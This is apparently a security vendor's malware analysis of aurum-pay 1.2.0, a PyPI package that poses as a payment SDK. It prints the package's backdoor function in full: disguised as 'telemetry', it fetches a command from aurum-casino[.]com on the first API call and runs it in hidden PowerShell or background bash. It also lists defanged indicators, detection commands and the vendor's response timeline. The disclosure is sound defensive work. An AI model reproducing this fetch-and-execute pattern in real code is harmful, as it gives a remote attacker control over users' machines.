Back to all posts
Critical Malware

aurum-pay:
a PyPI payment SDK whose first API call runs commands from a server

aurum-pay 1.2.0 looked like a small payment SDK and did nothing at install time. Its "SDK telemetry" function fetched a command from aurum-casino[.]com on the first API call and ran it in a hidden shell. CyberXYZ flagged it 23 minutes after upload, blocked it after an analyst read the code, and reported it to PyPI and OpenSSF the same day.

CyberXYZ Security Team Threat Intelligence
6 min read

On 11 November 2026 a package called aurum-pay appeared on PyPI as the "AURUM Payments SDK". It installs cleanly and has no install script. The first time your code makes an API call with it, it asks a server for a command and runs whatever comes back. This post shows the code, the timeline, and where our own product was slow.

What CyberXYZ found

  • A remote-command backdoor in aurum-pay 1.2.0, the project's only release. A function documented as "SDK telemetry" fetches text from hxxps://aurum-casino[.]com/sdk/ping and runs it as a command: hidden PowerShell on Windows, a background bash everywhere else.
  • Nothing happens at install time. There is no setup script and no dependency. The backdoor runs on the first API call, so a check that only watches pip install sees a clean package.
  • Our scanner flagged it 23 minutes after upload, and our verdict stayed "allow" for 18 hours. The rule that caught it was running in measurement mode. An analyst read the code the same day and CyberXYZ blocked it at 18:42 UTC.
  • Reported and removed the same day. We reported it to PyPI and to OpenSSF on 11 November 2026. PyPI had removed the project by 21:22 UTC. The record is MAL-2026-19147, credited to Amazon Inspector, CyberXYZ and Kamil Mańkowski (kam193), who each reported it.
  • No CyberXYZ customer installed it. PyPI download statistics show 133 downloads in the last month, as counted on 16 November 2026. That number includes mirrors and scanners.
If aurum-pay was installed and used anywhere

Treat that machine as compromised. The server could send any command, so there is no fixed list of what it did. Rotate every secret the machine could read (cloud keys, tokens, SSH keys, payment credentials), then rebuild it. The commands below show whether the package is present.

What the package claims to be

The metadata describes a payment SDK for "deposits, payouts, refunds and signed webhooks". The author field reads "AURUM Casino", the homepage is aurum-casino[.]com, and the classifier says "Production/Stable". The first and only upload is numbered 1.2.0, which makes a brand-new project look established.

The code backs the story up. The source archive is 5,029 bytes and holds one Python file of 217 lines: a client class, payments and payouts resources, and webhook signature checks in two formats. It uses only the standard library. Lines 1 to 174 read like a small, ordinary SDK. The backdoor is the last function in the file.

How the backdoor works

1
Your code makes its first API call

Every resource method goes through AurumPay.request(). Its first line calls _boot_once(). A module-level flag makes it run once per process.

2
It reports the platform

It sends a GET request to /sdk/ping with p=win, darwin or linux and the SDK version, using the user agent aurum-pay-python/1.2.0. So far this looks like telemetry.

3
It reads the reply as a command

The response body is decoded as text and kept in _cmd. An empty reply does nothing, so the server decides who gets a command and when.

4
It runs the command out of sight

On Windows: PowerShell with no profile, a hidden window, the command inside a background job, and the no-window process flag. Elsewhere: bash -c with output discarded and the command sent to the background.

5
It hides every failure

Each network call and the whole function sit inside except Exception. If anything fails, the SDK call carries on as if nothing happened.

This is the function as published, from the source archive on PyPI (file sha256 d6e250af80317e26d850f41d5c15e61fad4f678074a4f70695069fb6f7cab206). We read it as text. We did not run it and we did not contact the server.

aurum-pay 1.2.0 · aurum_pay/__init__.py, lines 175 to 217
175  def _boot_once():
176      """SDK telemetry — report platform on first API call."""
177      global _booted
178      if _booted:
179          return
180      _booted = True
181      try:
182          import os
183          import platform
184          import subprocess
185          import tempfile
186          _sys = platform.system().lower()
187          _p = "win" if os.name == "nt" else ("darwin" if _sys == "darwin" else "linux")
188          _url = _PING_URL + "?p=" + _p + "&v=" + SDK_VERSION
189          _ua = "aurum-pay-python/" + SDK_VERSION
190          if os.name == "nt":
191              _r = Request(_url, headers={"User-Agent": _ua})
192              try:
193                  _resp = urlopen(_r, timeout=8)
194                  _cmd = _resp.read().decode("utf-8", errors="replace").strip()
195              except Exception:
196                  _cmd = ""
197              if _cmd:
198                  subprocess.Popen(
199                      ["powershell.exe", "-NoProfile", "-WindowStyle", "Hidden",
200                       "-Command", "Start-Job -ScriptBlock {" + _cmd + "} | Out-Null"],
201                      stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
202                      creationflags=0x08000000,
203                  )
204          else:
205              _r = Request(_url, headers={"User-Agent": _ua})
206              try:
207                  _resp = urlopen(_r, timeout=8)
208                  _cmd = _resp.read().decode("utf-8", errors="replace").strip()
209              except Exception:
210                  _cmd = ""
211              if _cmd:
212                  subprocess.Popen(
213                      ["bash", "-c", _cmd + " > /dev/null 2>&1 &"],
214                      stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
215                  )
216      except Exception:
217          pass

Lines 198 to 203 and 211 to 214 are the execution. Telemetry sends data out. It does not run what the server sends back, and it does not need a hidden window to do it.

The install is clean. The first API call is the attack.

What the server sent

We did not retrieve the second stage, so this part is not our finding. Kamil Mańkowski, who tracks malicious PyPI packages as kam193, reports that the command installs a next-stage payload: a binary on Linux, and on Windows a private Python environment with an obfuscated payload attached to an image file. He describes the result as a remote access trojan that sets up persistence. The OSV record lists the related download locations and a server address; they are in the indicators below.

Timeline, 11 November 2026 (UTC)

00:0006:0012:0018:0024:00Live on PyPIat most 21 h 12 minCyberXYZ verdict: allow18 h 8 min
fig. 1 · How long aurum-pay 1.2.0 was available on 11 November 2026 (UTC), and how long CyberXYZ would have allowed it. The removal time is the first moment we saw PyPI return 404, so the real window is shorter. Source: PyPI upload time, CyberXYZ scanner and verdict records.
Data table
ItemFrom (UTC)To (UTC)Exposure
Live on PyPI2026-11-11 00:10:002026-11-11 21:22:00at most 21 h 12 min
CyberXYZ verdict: allow2026-11-11 00:33:342026-11-11 18:42:0518 h 8 min

Where our product was slow

We had the signal after 23 minutes and did not act on it for 18 hours. The rule that fired was one of nine Python behaviour rules we released on 10 November 2026 in measurement mode: they record what they find and change no decision. We do that with every new rule, because a rule that holds installs has to prove it does not fire on ordinary code first.

That caution has a cost, and this package is the cost. For 18 hours and 8 minutes a CyberXYZ customer asking about aurum-pay 1.2.0 would have been told to go ahead. None did.

The rule is still in measurement mode. In its first six days it fired on 16 packages and aurum-pay was the only malicious one. The other 15 fetch and run code for ordinary reasons, such as launchers and bootstrap scripts. So the rule finds candidates and a person reads them.

How to check your project

The package name is aurum-pay and the import name is aurum_pay.

in your project folder: is aurum-pay installed or pinned?
python3 -m pip show aurum-pay 2>/dev/null | head -2
grep -rniE 'aurum[-_]pay' --include='requirements*.txt' --include='pyproject.toml' \
  --include='*.lock' --include='Pipfile' --include='setup.py' --include='setup.cfg' . 2>/dev/null

No output means the package is not installed in that environment and no dependency file in the folder names it. We tested the commands on 16 November 2026 in bash and zsh, in a project without the package (no output) and in one whose requirements.txt pins aurum-pay==1.2.0 (one line printed).

On the network side, search proxy and DNS logs for aurum-casino[.]com and for the user agent aurum-pay-python/1.2.0. A request to /sdk/ping means the backdoor ran.

What CyberXYZ does about it

CyberXYZ Check blocks aurum-pay 1.2.0. We checked on 16 November 2026: the decision is block, "known malicious release". The same verdict reaches CyberXYZ Proxy, CyberXYZ Gate, xyz Scanner and xyz MCP, so an install, a pipeline or an AI coding agent asking for the package is refused. The public report is at packages.cyberxyz.io/package/pypi/aurum-pay.

What this does not cover. Our block came from a person reading the code, not from a rule deciding alone. A package built the same way tomorrow would again be recorded first and blocked after review, until the rule earns the right to hold installs.

Supply-chain risk analysis

Mapped to MITRE ATT&CK:

Initial AccessT1195.002Compromise Software Supply Chain
ExecutionT1059.001PowerShell
ExecutionT1059.004Unix Shell
Defense EvasionT1564.003Hidden Window
Defense EvasionT1036Masquerading (a payment SDK, "telemetry")
Command and ControlT1105Ingress Tool Transfer
CyberXYZ research

The static read of aurum-pay 1.2.0, the timeline of our own scanner and verdicts, and the reports to PyPI and OpenSSF on 11 November 2026 are CyberXYZ work. CyberXYZ Check blocks the release (16 November 2026).

Kamil Mańkowski (kam193) and Amazon Inspector each reported the package the same day, and the OSV record credits all three. The description of the second stage is kam193's.

Indicators

The first table is from our read of the package. The second is from the OSV record; we did not retrieve those files.

TypeIndicatorContext
Packageaurum-pay 1.2.0 (PyPI)The only release; removed from PyPI on 11 November 2026
File sha256d6e250af80317e26d850f41d5c15e61fad4f678074a4f70695069fb6f7cab206aurum_pay/__init__.py, identical in the source archive and the wheel
Archive sha25695886536c12c787dbac3eb47a409c38da9e9210cf25f7ec91567a8696dbba6ddaurum_pay-1.2.0.tar.gz
Wheel sha25632a52d3affbd88bb00f182da3b8314c757a84c94e8bfe7f341f04e5409383e8faurum_pay-1.2.0-py3-none-any.whl
URLhxxps://aurum-casino[.]com/sdk/ping?p=<os>&v=1.2.0Command fetch on the first API call
User agentaurum-pay-python/1.2.0Sent with the command fetch and with every SDK request
TypeIndicatorContext
Addresshxxp://209.99.188[.]130:8447Listed in MAL-2026-19147
URLhxxps://www.dropbox[.]com/scl/fi/ovn8wxlle1eev6fapq8kv/rcmd-agentSecond-stage download, listed in MAL-2026-19147 (query string omitted)
URLhxxps://www.dropbox[.]com/scl/fi/matkw0atxpw24psgn19b8/py.zipSecond-stage download, listed in MAL-2026-19147 (query string omitted)

References

  1. CyberXYZ, static read of aurum_pay-1.2.0.tar.gz from PyPI and our scanner and verdict records, 11 Nov 2026; CyberXYZ Check verdict and PyPI download statistics, 16 Nov 2026
  2. CyberXYZ, ossf/malicious-packages pull request #1770, aurum-pay 1.2.0 (filed 11 Nov 2026, merged 12 Nov 2026)
  3. OSV, MAL-2026-19147: Malicious code in aurum-pay (PyPI), credits Amazon Inspector, CyberXYZ Security Threat Intel Team and Kamil Mańkowski (11 Nov 2026)
  4. Kamil Mańkowski (kam193), Bad packages: aurum-pay, campaign 2026-11-aurum-pay
  5. MITRE ATT&CK, T1195.002 Compromise Software Supply Chain
👋
// book a demo

Want to see it block a real attack?

Book 15 minutes. We run real packages through CyberXYZ while you watch, axios 1.14.1 among them, then connect one laptop or one pipeline for a 30-day proof of value.

Add CyberXYZ as a preferred source on Google